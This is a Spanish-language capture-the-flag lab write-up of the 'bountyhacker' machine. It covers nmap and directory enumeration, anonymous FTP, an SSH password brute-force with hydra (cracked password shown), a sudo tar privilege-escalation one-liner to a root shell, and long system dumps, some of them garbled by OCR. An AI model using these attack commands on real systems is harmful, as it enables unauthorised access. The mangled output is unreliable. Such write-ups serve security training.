# Enumeration

# **Enumeracion NMAP**

sudo nmap -A -p- -sV -sS 10.10.32.151 Starting Nmap 7.92 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2022-06-17 05:06 EDT Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 6.40% done; ETC: 05:17 (0:10:00 remaining) Stats: 0:02:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 24.84% done; ETC: 05:16 (0:07:25 remaining) Nmap scan report for 10.10.32.151 (10.10.32.151) Host is up (0.055s | latency). Not shown: 55529 filtered tcp ports (no-response), 10003 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230)

|\_Can't get directory listing: TIMEOUT

| ftp-syst: I STAT:

| FTP server status:

Connected to :: ffff: 10.18.47.211

Logged in as ftp

TYPE: ASCII

No session bandwidth limit

Session timeout in seconds is 300

Control connection is plain text

Data connections will be plain text

At session startup, client count was 4

vsFTPd 3.0.3 - secure, fast, stable

I End of status

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)

256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)

\_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|\_http-title: Site doesn't have a title (text/html).

|\_http-server-header: Apache/2.4.18 (Ubuntu)

Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Infomir MAG-250 set-top box (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 5.1 (90%), Ubiquiti AirOS 5.5.9 (90%), Linux 5.0 -

5.4 (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 49466/tcp)

HOP RTT **ADDRESS** 

1 55.67 ms 10.18.0.1 (10.18.0.1)

2 58.35 ms 10.10.32.151 (10.10.32.151)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 445.39 seconds

# Gobuster

### Gobuster enumeración de directorios

```
(kali@kali)-[~]
 § gobuster dir -u http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                              http://10.10.32.151/
                              GET
[+] Method:
    Threads:
                              10
 +] Wordlist:
                              /usr/share/wordlists/dirb/common.txt
   Negative Status codes:
                              404
                              gobuster/3.1.0
[+] User Agent:
[+] Timeout:
                              10s
2022/06/17 06:03:31 Starting gobuster in directory enumeration mode
                       (Status: 403) [Size: 277]
/.hta
                       (Status: 403) [Size: 277]
/.htaccess
                       (Status: 403) [Size: 277]
/.htpasswd
                       (Status: 301) [Size: 313] [→ http://10.10.32.151/images/] (Status: 200) [Size: 969]
/images
/index.html
                       (Status: 403) [Size: 277]
/server-status
2022/06/17 06:03:58 Finished
```

No se han obtenido directorios interesantes en la enumeracion.

### Dirb

Se han enumerado los directorios con la herramienta dirb sin obtener informacion relevante.

```
-(kali⊕kali)-[~]
 -$ dirb http://10.10.32.151/ -w /usr/share/wordlists/dirb/common.txt -R
DIRB v2.22
By The Dark Raver
START TIME: Fri Jun 17 06:05:54 2022
URL_BASE: http://10.10.32.151/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Interactive Recursion
OPTION: Not Stopping on warning messages
GENERATED WORDS: 4612
   Scanning URL: http://10.10.32.151/
⇒ DIRECTORY: http://10.10.32.151/images/
+ http://10.10.32.151/index.html (CODE:200|SIZE:969)
+ http://10.10.32.151/server-status (CODE:403 SIZE:277)
   - Entering directory: http://10.10.32.151/images/ —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
   (Use mode '-w' if you want to scan it anyway)
(?) Do you want to scan this directory (y/n)? y
→ Testing: http://10.10.32.151/images/.hta
END_TIME: Fri Jun 17 06:14:53 2022
DOWNLOADED: 9224 - FOUND: 2
```

# Other Services

# FTP

# **FTP Anonymous**

Se tiene acceso al FTP con la sesion de Anonymous. Al acceder nos encontramos dos archivos con extnsion .txt:

```
(kali@kali)-[~/Desktop]
 💲 ftp Anonymous@10.10.32.151
Connected to 10.10.32.151.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||17662|)
ftp: Can't connect to `10.10.32.151:17662': Connection timed out
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r--
           1 ftp
                      ftp
                                   418 Jun 07
                                              2020 locks.txt
-rw-rw-r--
            1 ftp
                       ftp
                                    68 Jun 07
                                              2020 task.txt
226 Directory send OK.
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
1.14 KiB/s
226 Transfer complete.
68 bytes received in 00:00 (0.59 KiB/s)
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |************************
                                                                  418
                                                                            6.97 KiB/s
                                                                                        00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (3.36 KiB/s)
ftp>
```

Al mostrar los contenidos de los archivos podemos comprobar que el archivo task esta escrito por Lin y elarchivo locks nos proporciona una lista de lo que parecen ser contraseñas con esto podremos realizar un ataque hydra basandonos en el usuario lin y la lista locks.txt.

### SSH

Al realizzar el ataque con hydra obtenemos la contraseña para acceder por SSH:

```
(kali@kali)-[~/Desktop]
└─$ hydra -l lin -P <u>locks.txt</u> ssh://10.10.32.151
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-17 05:43:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks
: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous ses
sion found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.32.151:22/
                                           password: RedDr4gonSynd1cat3
[22][ssh] host: 10.10.32.151
                             login: lin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] Ø target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-17 05:43:16
```

Con los contraseña obtenida la utilizamos para acceder a traves de SSH:

```
(kali@kali)-[~/Desktop]
   ssh lin@10.10.32.151
The authenticity of host '10.10.32.151 (10.10.32.151)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.32.151' (ED25519) to the list of known hosts.
lin@10.10.32.151's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)
                   https://help.ubuntu.com
 * Documentation:
  Management:
                   https://landscape.canonical.com
                   https://ubuntu.com/advantage
  Support:
83 packages can be updated.
0 updates are security updates.
Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:-/Desktop$ cat user.txt
lin@bountyhacker:~/Desktop$
```

Aqui podremos obtener la primera flag de user.txt.

# Exploitation

Una vez dentro del usuario lin podremos comprobar los permisos que tiene para realizar acciones de sudo:

```
lin@bountyhacker:/$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

Podemos ver que tiene la capacidad de usar /bin/tar

Con esto podremos realizar una escalada de privilegios para llegar a obtener la ultima bandera de esta maquina root.txt:

#### **Exploit Code Used**

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

#### Proof\Local.txt File

☑ Screenshot with ifconfig\ipconfig

```
# ifconfig
eth0
          Link encap:Ethernet HWaddr 02:80:91:b3:61:cb
         inet addr:10.10.32.151 Bcast:10.10.255.255 Mask:255.255.0.0
          inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
         RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:10334493 (10.3 MB) TX bytes:1336151 (1.3 MB)
lo
         Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536
                                          Metric:1
          RX packets:182 errors:0 dropped:0 overruns:0 frame:0
          TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
         RX bytes:14071 (14.0 KB) TX bytes:14071 (14.0 KB)
```

# Post Exploitation

# Host Information

#### **Operating System**

```
# lsb_release -d
Description: Ubuntu 16.04.6 LTS
# ___
```

# Running Processes

# **Process List**

USER	DTN	%CPU	%MFM	VSZ	PSS	TTY	STAT	START	TIME	COMMAND
root	1	0.4		119840	5424		Ss	04:02		/sbin/init splash
root	2	0.0	0.0	0	0		S	04:02		[kthreadd]
root	4	0.0	0.0	ø	ø	?	I<	04:02		[kworker/0:0H]
root	6	0.0	0.0	0	0	?	I<	04:02		[mm_percpu_wq]
root	7	0.0	0.0	Ø	ø	?	S	04:02		[ksoftirqd/0]
root	8	0.0	0.0	0	ø	?	ī	04:02		[rcu_sched]
root	9	0.0	0.0	0	ø	?	Ī	04:02		[rcu_bh]
root	10	0.0	0.0	o o	Ø	?	S	04:02		[migration/0]
root	11	0.0	0.0	o o	Ø	?	S	04:02		[watchdog/0]
root	12	0.0	0.0	Ø	0	?	S	04:02		[cpuhp/0]
root	13	0.0	0.0	0	0	?	S	04:02		[kdevtmpfs]
root	14	0.0	0.0	0	ø	?	I<	04:02		[netns]
root	15	0.0	0.0	0	Ø	?	S	04:02		[rcu_tasks_kthre]
root	16	0.0	0.0	0	Ø	?	S	04:02		[kauditd]
root	17	0.0	0.0	0	0	?	S	04:02		[xenbus]
root	18	0.0	0.0	0	0	?	S	04:02		[xenwatch]
root	20	0.0	0.0	0	0	?	S	04:02		[khungtaskd]
root	21	0.0	0.0	0	0	?	S	04:02		[oom_reaper]
root	22	0.0	0.0	0	0	?	I<	04:02		[writeback]
root	23	0.0	0.0	0	0	?	S	04:02		[kcompactd0]
root	24	0.0	0.0	0	0	?	SN	04:02		[ksmd]
root	25	0.0	0.0	0	0	?	1<	04:02		[crypto]
root	26	0.0	0.0	0	Ø	?	1<	04:02		[kintegrityd]
root	27	0.0	0.0	0	Ø	?	1<	04:02		[kblockd]
root	28	0.0	0.0	0	Ø	?	I<	04:02		[ata_sff]
root	29	0.0	0.0	0	Ø	?	I<	04:02		[md]
root	30	0.0	0.0	0	0	?	I<	04:02		[edac-poller]
root	31	0.0	0.0	0	0	?	I<	04:02	0:00	[devfreq_wq]
root	32	0.0	0.0	0	0	?	I<	04:02	0:00	[watchdogd]
root	35	0.0	0.0	0	0	?	S	04:03	0:00	[kswapd0]
root	36	0.0	0.0	0	0	?	I<	04:03	0:00	[kworker/u31:0]
root	37	0.0	0.0	0	0	?	S	04:03	0:00	[ecryptfs-kthrea]
root	79	0.0	0.0	0	0	?	I<	04:03	0:00	[kthrotld]
root	80	0.0	0.0	0	0	?	I<	04:03	0:00	[acpi_thermal_pm]
root	81	0.0	0.0	0	0	?	S	04:03		[scsi_eh_0]
root	82	0.0	0.0	0	0	?	I<	04:03	0:00	[scsi_tmf_0]
root	83	0.0	0.0	0	0	?	S	04:03		[scsi_eh_1]
root	84	0.0	0.0	0	0	?	I<	04:03		[scsi_tmf_1]
root	90	0.0	0.0	0	0	?	1<	04:03	0:00	[ipv6_addrconf]
root	99	0.0	0.0	0	0	?	I<	04:03		[kstrp]
root	116	0.0	0.0	0	0	?	I<	04:03	0:00	[charger_manager]
root	174	0.0	0.0	0	0	?	I<	04:03	0:00	[ttm_swap]
root	200	0.0	0.0	0	0	?	S	04:03		[jbd2/xvda1-8]
root		0.0		0	0	?	I<	04:03		[ext4-rsv-conver]
root	211		0.0	0		?	1<	04:03		[kworker/0:1H]
root	243	0.0		27804	2884		Ss	04:03		/lib/systemd/systemd-journald
root	268	0.0	0.7	45344	3920		Ss	04:03		/lib/systemd/systemd-udevd
systemd+	366	0.0		102384	2468		Ssl	04:03		/lib/systemd/systemd-timesyncd
root	726	0.0	0.2		1248		Ss	04:03		/usr/sbin/acpid
root	727	0.0	0.6	28620	3024		Ss	04:03	0:00	/lib/systemd/systemd-logind
message+	732	0.0	0.8	43624	4096	?	Ss	04:03	0:01	/usr/bin/dbus-daemonsystemaddress=sy

```
0:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth
                                                         04:03
root
                            16128
                                    2852
                                                         04:03
root
            822
                 0.0
                       1.2 282948
                                    6032
                                                    Ssl
                                                                       /usr/lib/accountsservice/accounts-daemon
avahi
            823
                 0.0
                       0.6
                            44912
                                    3748
                                                    Ss
                                                         04:03
                                                                  0:00
                                                                       avahi-daemon: running [bountyhacker.local]
syslog
            824
                 0.0
                       0.5 256396
                                    2804
                                                    Ss1
                                                         04:03
                                                                       /usr/sbin/rsyslogd -n
                       2.4 382356 12228
                                                         04:03
                                                                       /usr/sbin/NetworkManager -- no-daemon
root
            838
                 0.0
                                                    Ssl
                                                                  0:01
            844
                 0.0
                       0.5
                            36076
                                    2924
                                                    Ss
                                                         04:03
                                                                  0:00
                                                                        /usr/sbin/cron -f
root
                                                                       avahi-daemon: chroot helper
avahi
            849
                 0.0
                       0.0
                            44784
                                     320
                                                         04:03
                                                                  0:00
                                                                       /usr/lib/policykit-1/polkitd -- no-debug
root
            927
                 0.0
                       1.5 278768
                                    7704
                                                    Ssl
                                                         04:03
                                                                  0:01
            952
root
                 0.0
                       1.2 350516
                                    5892
                                                    Ssl
                                                         04:03
                                                                  0:00
                                                                       /usr/sbin/lightdm
                                                                        /usr/lib/xorg/Xorg -core :0 -seat seat0 -a
/usr/sbin/vsftpd /etc/vsftpd.conf
root
            977
                 0.0
                      10.5
                           337068
                                   51980
                                          ttv7
                                                    Ssl+ 04:03
                                                                  0:03
            984
                 0.0
                       0.5
                            24048
                                    2588
                                                    Ss
                                                         04:03
                                                                  0:00
root
            993
                 0.0
                            65512
                                    5788
                                                    Ss
                                                         04:03
                                                                  0:00
                                                                       /usr/sbin/sshd -D
root
                       1.1
whoopsie
           1014
                 0.0
                       1.8 269232
                                    8848
                                                    Ssl
                                                         04:04
                                                                  0:00
                                                                       /usr/bin/whoopsie -f
                                                                        /sbin/agetty --noclear tty1 linux
/sbin/agetty --keep-baud 115200 38400 9600
           1032
                 0.0
                       0.3
                            23004
                                    1700
                                         tty1
                                                    Ss+
                                                         04:04
                                                                  0:00
root
root
           1034
                 0.0
                       0.4
                             22820
                                    2212
                                          ttyS0
                                                    Ss+
                                                         04:04
                                                                  0:00
root
           1062
                 0.0
                       0.9
                            71584
                                    4864
                                                    Ss
                                                         04:04
                                                                  0:00
                                                                        /usr/sbin/apache2 -k start
           1131
                 0.0
                       1.2 226180
                                    6216
                                                    sl
                                                         04:04
                                                                  0:00
                                                                       lightdm -- session-child 16 19
root
                                                                        /lib/systemd/systemd --user
           1134
                 0.0
                       0.8
                            45300
                                    4352
                                                    Ss
                                                         04:04
                                                                  0:00
lightdm
lightdm
           1135
                 0.0
                       0.3
                            63456
                                    1676
                                                         04:04
                                                                  0:00
                                                                        (sd-pam)
                                                                       /bin/sh /usr/lib/lightdm/lightdm-greeter-s
lightdm
           1142
                              4504
                                     844
                                                    Ss
                                                         04:04
                 0.0
                       0.1
                                                                  0:00
lightdm
           1147
                 0.0
                       0.6
                            42992
                                    3284 ?
                                                    Ss
                                                         04:04
                                                                  0:00
                                                                       /usr/bin/dbus-daemon --fork --print-pid 5
lightdm
                 0.1
                      12.5
                           1027508
                                    61520 ?
                                                    sl
                                                         04:04
           1148
                                                                  0:07
                                                                        /usr/sbin/unity-greeter
lightdm
           1154
                 0.0
                       1.1
                           337984
                                    5704 ?
                                                    sl
                                                         04:04
                                                                  0:00
                                                                        /usr/lib/at-spi2-core/at-spi-bus-launcher
lightdm
           1164
                 0.0
                       0.6
                            42764
                                    3400
                                                         04:04
                                                                  0:00
                                                                       /usr/bin/dbus-daemon -config-file=/etc/at
lightdm
           1181
                 0.0
                       1.0 206972
                                    5072
                                                         04:04
                                                                  0:00
                                                                       /usr/lib/at-spi2-core/at-spi2-registryd --
                                                         04:04
           1187
                 0.0
                       1.2 281484
                                    6140
                                                                  0:00
                                                                       /usr/lib/gvfs/gvfsd
lightdm
                                                                       /usr/lib/gvfs/gvfsd-fuse /run/user/108/gvf
/usr/lib/dconf/dconf-service
lightdm
           1192
                 0.0
                       0.9
                           341328
                                    4524
                                                    sl
                                                         04:04
                                                                  0:00
                       0.9
                           178532
                                    4564
                                                         04:04
           1202
                 0.0
                                                                  0:00
lightdm
           1207
                 0.0
                       0.9
                            82708
                                    4860 ?
                                                         04:04
                                                                  0:00 lightdm — session-child 12 19
root
                                                                       upstart -- user -- startup-event indicator-s
lightdm
           1210
                 0.0
                       0.8
                            53024
                                    4316
                                                         04:04
                                                                  0:00
           1212
                 0.0
                       6.2 600740
                                   30784
                                                    sl
                                                         04:04
                                                                        nm-applet
lightdm
                                                                  0:02
                                                                       /usr/lib/x86_64-linux-gnu/indicator-messag
           1217
                       1.3 361468
                                    6580
                                                    Ss1
                                                         04:04
                                                                  0:00
lightdm
                 0.0
                 0.0
lightdm
           1218
                       0.8 414168
                                    4136
                                                    Ssl
                                                         04:04
                                                                       /usr/lib/x86_64-linux-gnu/indicator-blueto
                 0.0
                       1.5 427732
lightdm
           1219
                                    7672
                                                    Ss1
                                                         04:04
                                                                  0:00
                                                                       /usr/lib/x86_64-linux-gnu/indicator-power/
lightdm
           1220
                 0.0
                       2.5
                           546888
                                   12660
                                                    Ssl
                                                         04:04
                                                                        /usr/lib/x86_64-linux-gnu/indicator-dateti
                           570764 28552
                                                                  0:03 /usr/lib/x86_64-linux-gnu/indicator-keyboa
           1221
                       5.8
                                                    Ssl
                                                         04:04
lightdm
                 0.0
           1222
                 0.0
                       1.9 741996
                                    9368
                                                    Ssl
                                                         04:04
                                                                       /usr/lib/x86_64-linux-gnu/indicator-sound/
lightdm
                       4.9 625984
                 0.0
                                   24288
                                                         04:04
                                                                  0:01
                                                                        /usr/lib/unity-settings-daemon/unity-setti
lightdm
           1231
                       1.2 632248
           1239
                 0.0
                                    6280
                                                    Ssl
                                                         04:04
                                                                  0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-sessio
lightdm
lightdm
           1257
                 0.0
                       2.5 403148 12676
                                                    Ssl
                                                         04:04
                                                                  0:00
                                                                        /usr/lib/x86_64-linux-gnu/indicator-applic
                       2.1 485016
           1267
                                   10344
                                                    s<1
                                                                       /usr/bin/pulseaudio -- start -- log-target=s
lightdm
                  0.0
                                                         04:04
           1268
                       0.6 183544
                                    3140
                                                    SNsl 04:04
                 0.0
                                                                  0:00
                                                                       /usr/lib/rtkit/rtkit-daemon
rtkit
                 0.0
root
           1291
                       1.8
                           345860
                                    9272
                                                    Ssl
                                                         04:04
                                                                        /usr/lib/upower/upowerd
                                                                       /usr/lib/colord/colord
                                   10192
colord
                 0.0
           1302
                       2.0
                           308204
                                                    Ssl
                                                         04:04
                                                                  0:00
           1450
                       0.9 492588
                                    4540
                                                    sl
                                                                       /usr/sbin/apache2 -k start
www-data
                 0.0
                                                         04:08
                                                                  0:01
www-data
           1451
                 0.0
                       0.8 558196
                                    4128
                                                         04:08
                                                                  0:01
                                                                        /usr/sbin/apache2 -k start
                                                         04:08
                                                                        /usr/sbin/cupsd -1
root
           1533
                 0.0
                       1.4
                           100348
                                    7148
                                                    Ss
                                                                  0:00
                                                                        /usr/sbin/cups-browsed
                       1.9
           1534
                                    9364
                                                    Ssl
                                                         04:08
                                                                  0:00
root
                 0.0
                           274816
root
           1827
                  0.0
                       0.0
                                 0
                                        0
                                                         04:18
                                                                  0:00
                                                                        [kworker/0:1]
           1834
                 0.0
                       0.0
                                 0
                                        0
                                                         04:19
                                                                  0:00
root
                                                    Ι
                                                                        [kworker/u30:2]
                                                                        [kworker/u30:1]
root
           1859
                 0.0
                       0.0
                                 0
                                        0
                                                         04:33
                                                                  0:00
           1950
                                                            04:42
                  0.0
                        0.0
                                  0
                                         0
                                                                     0:00 [kworker/0:0]
root
                                                      1
                              94928
                                                            04:44
                                                                     0:00 sshd: lin [priv]
root
           1958
                  0.0
                        1.3
                                      6748
                                                      Ss
lin
           1960
                  0.0
                        0.9
                              45300
                                      4544 ?
                                                      Ss
                                                            04:44
                                                                     0:00 /lib/systemd/systemd --user
           1961
                            145384
                                      1864
                                                            04:44
                                                                     0:00 (sd-pam)
lin
                  0.0
                        0.3
           1990
                              94928
                                                      s
lin
                  0.0
                        0.7
                                      3492
                                                            04:44
                                                                     0:00 sshd: lin@pts/8
lin
           1991
                  0.0
                        1.0
                              29692
                                      5168
                                           pts/8
                                                      Ss
                                                            04:44
                                                                     0:00
                                                                           -bash
           2013
                  0.0
                        0.8
                              61860
                                      4028 pts/8
                                                            04:56
                                                                     0:00 sudo tar -cf /dev/null /dev/null --checkpo
root
                                                                     0:00 tar -cf /dev/null /dev/null --checkpoint=1
           2014
                  0.0
                        0.6
                              36220
                                      3044 pts/8
                                                      s
                                                            04:56
root
           2015
                  0.0
                        0.3
                               4504
                                      1584 pts/8
                                                      s
                                                            04:56
                                                                     0:00 /bin/sh
root
                  0.0
                        0.6
                              44432
                                                      R+
                                                            05:20
           2040
                                      3360 pts/8
                                                                     0:00 ps aux
root
```

# Users & Groups

Users

```
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
ftp:x:121:129:ftp daemon,,,:/srv/ftp:/bin/false
lin:x:1001:1001:Lin,,,:/home/lin:/bin/bash
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

### Groups

```
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:pulse
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:
crontab:x:107:
syslog:x:108:
netdev:x:109:
messagebus:x:110:
uuidd:x:111:
ssl-cert:x:112:
lpadmin:x:113:
lightdm:x:114:
nopasswdlogin:x:115:
ssh:x:116:
whoopsie:x:117:
mlocate:x:118:
avahi-autoipd:x:119:
avahi:x:120:
bluetooth:x:121:
scanner:x:122:saned
colord:x:123:
pulse:x:124:
pulse-access:x:125:
rtkit:x:126:
saned:x:127:
sambashare:x:128:
ftp:x:129:
lin:x:1001:
```

### Network

### IPConfig\IFConfig

```
# ifconfig
eth0
          Link encap:Ethernet HWaddr 02:80:91:b3:61:cb
         inet addr:10.10.32.151 Bcast:10.10.255.255 Mask:255.255.0.0
          inet6 addr: fe80::80:91ff:feb3:61cb/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
         RX packets:233607 errors:0 dropped:0 overruns:0 frame:0
         TX packets:11641 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:10334493 (10.3 MB) TX bytes:1336151 (1.3 MB)
          Link encap:Local Loopback
lo
          inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536 Metric:1
         RX packets:182 errors:0 dropped:0 overruns:0 frame:0
         TX packets:182 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:14071 (14.0 KB) TX bytes:14071 (14.0 KB)
```

#### **Network Processes**

Proto	RefCnt	Flags	Type	State	I-Node	Path
unix	2	[ ]	DGRAM		27203	/run/user/1001/systemd/notify
unix	2	[]	DGRAM		21299	/run/user/108/systemd/notify
unix	3	[]	DGRAM		13887	/run/systemd/notify
unix	2	[]	DGRAM		13888	/run/systemd/cgroups-agent
unix	14	[]	DGRAM		13895	/run/systemd/journal/dev-log
unix	8	[ ]	DGRAM		13897	/run/systemd/journal/socket
unix	2	[]	DGRAM		13903	/run/systemd/journal/syslog
unix	3	[]	STREAM	CONNECTED	27233	
unix	3	[]	STREAM	CONNECTED	19356	
unix	3	[]	STREAM	CONNECTED	22036	
unix	3	[]	STREAM	CONNECTED	21588	
unix	3	[]	STREAM	CONNECTED	21836	/var/run/dbus/system_bus_socket
unix	3	[]	STREAM	CONNECTED	15738	
unix	3	[ ]	STREAM	CONNECTED	21590	
unix	3	ĹĴ	STREAM	CONNECTED	27187	/run/systemd/journal/stdout
unix	3	ĹĴ	STREAM	CONNECTED	21148	@/tmp/.X11-unix/X0
unix	2	ĹĴ	DGRAM		14478	
unix	3	ΪÍ	STREAM	CONNECTED	22099	
unix	3	Ĺĺ	STREAM	CONNECTED	21580	
unix	2	ĨĴ	DGRAM		21290	
unix	3	ĨĨ	STREAM	CONNECTED	21439	
unix	3	Ĺĺ	STREAM	CONNECTED	22241	
unix	3	ĨĴ	STREAM	CONNECTED	21591	@/tmp/dbus-pmtrmqSxLO
unix	3	ĨĨ	STREAM	CONNECTED	18187	
unix	3	ĨĨ	STREAM	CONNECTED	22242	/var/run/dbus/system_bus_socket
unix	2	îi	DGRAM		21174	A 10 M y 1 M 2 A 3 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M A 4 M
unix	3	ĨĨ	STREAM	CONNECTED	21645	
unix	3	Di look	STREAM	CONNECTED	21398	a/tmp/dbus-pmtrmqSxLO
unix	3	ĨĴ	STREAM	CONNECTED	22128	
unix	3	Ĺĺ	STREAM	CONNECTED	21831	ie garbage."
